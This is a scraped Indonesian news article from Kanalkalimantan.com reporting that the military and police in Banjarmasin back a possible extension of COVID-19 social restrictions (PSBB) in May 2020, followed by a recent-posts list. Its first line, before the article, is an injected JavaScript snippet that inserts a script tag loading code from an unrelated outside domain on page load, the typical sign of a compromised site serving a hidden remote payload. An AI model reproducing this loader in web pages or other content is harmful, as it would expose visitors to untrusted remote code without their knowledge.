(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

TNI-Polri Tegaskan Siap Dukung Perpanjangan PSBB di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Perpanjangan Pembatasan Sosial Berskala Besar (PSBB) di Kota Banjarmasin, masih menunggu keputusan rapat yang digelar Kamis (7/5/2020). Walau demikian TNI-Polri menegaskan siap mendukung jika PSBB akan diperpanjang.

Sejumlah aspek pun dibahas dalam rapat evaluasi pelakasanaan Pembatasan Sosial Berskala Besar (PSBB) yang diselenggarakan sejak 24 April lalu. Hasil evaluasi nantinya menjadi indikator, untuk menentukan dilanjutkannya atau tidak PSBB, yang akan dibahas esok.

Hal itu disampaikan Komandan Kodim 1007/Banjarmasin Kolonel Inf Anggara Sitompul bersama Wakapolresta Banjarmasin AKBP Sanana Atmojo, usai melakukan rapat terbatas diruang Integrasi Balaikota Banjarmasin, Rabu (6/5/2020). Menurut Anggara, dalam rapat tersebut pihaknya membahas tentang koordinasi dan evaluasi terkait berjalannya pelaksanaan PSBB selama 13 hari terakhir.

“Jadi apakah efektif atau tidak PSBB di Banjarmasin, intinya sudah efektif, kita lihat dari masyarakat yang semakin sadar dengan penggunaan masker,” katanya.

Kendati demikian, orang nomor satu di jajaran Kodim 1007/ Banjarmasin itu juga mengakui masih adanya kelemahan terhadap pelaksanaan PSBB di kota seribu sungai. “Tentu ada beberapa kelemahan, kami dalam hal ini memberikan masukan masukan dulu apakah akan diperpanjang atau tidak,” ucapnya.

Dikatakannya, evaluasi tersebut seperti soal penegakan payung hukum PSBB dalam hal ini Perwali kota harus ada batas toleransinya dan masyakarat pun diminta harus memahaminya. Jangan sampai penegakan itu menimbulkan masalah baru, di mana mungkin ada toleransi dan batas toleransi itu penting.

“Masyarakat harus paham ini bukan lockdown dan roda ekonomi harus tetap berjalan,” bebernya.

Selain itu, pemberlakukan jam malam yang akan diatur pelaksanaannya agar berjalan lebih maksimal juga menjadi evaluasi jika PSBB di Kota Banjarmasin akan resmi diperpanjang. Penutupan jam malam yang dimaksud bukan jam malam seperti darurat perang, namun dalam konteks adanya darurat bencana kesehatan. “Jangan sampai mindset masyarakat jam malam itu seperti perang enggak gitu ya,” jelas Anggara.

Kendati demikian, Anggara belum bisa memastikan apakah PSBB di Kota Banjarmasin akan diperpanjang, sebab menunggu keputusan rapat pemerintah kota dan Tim Gugus Tugas P2 Covid-19 Kota Banjarmasin. (Kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

11 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

11 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

12 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

12 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

12 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

12 jam ago

This website uses cookies.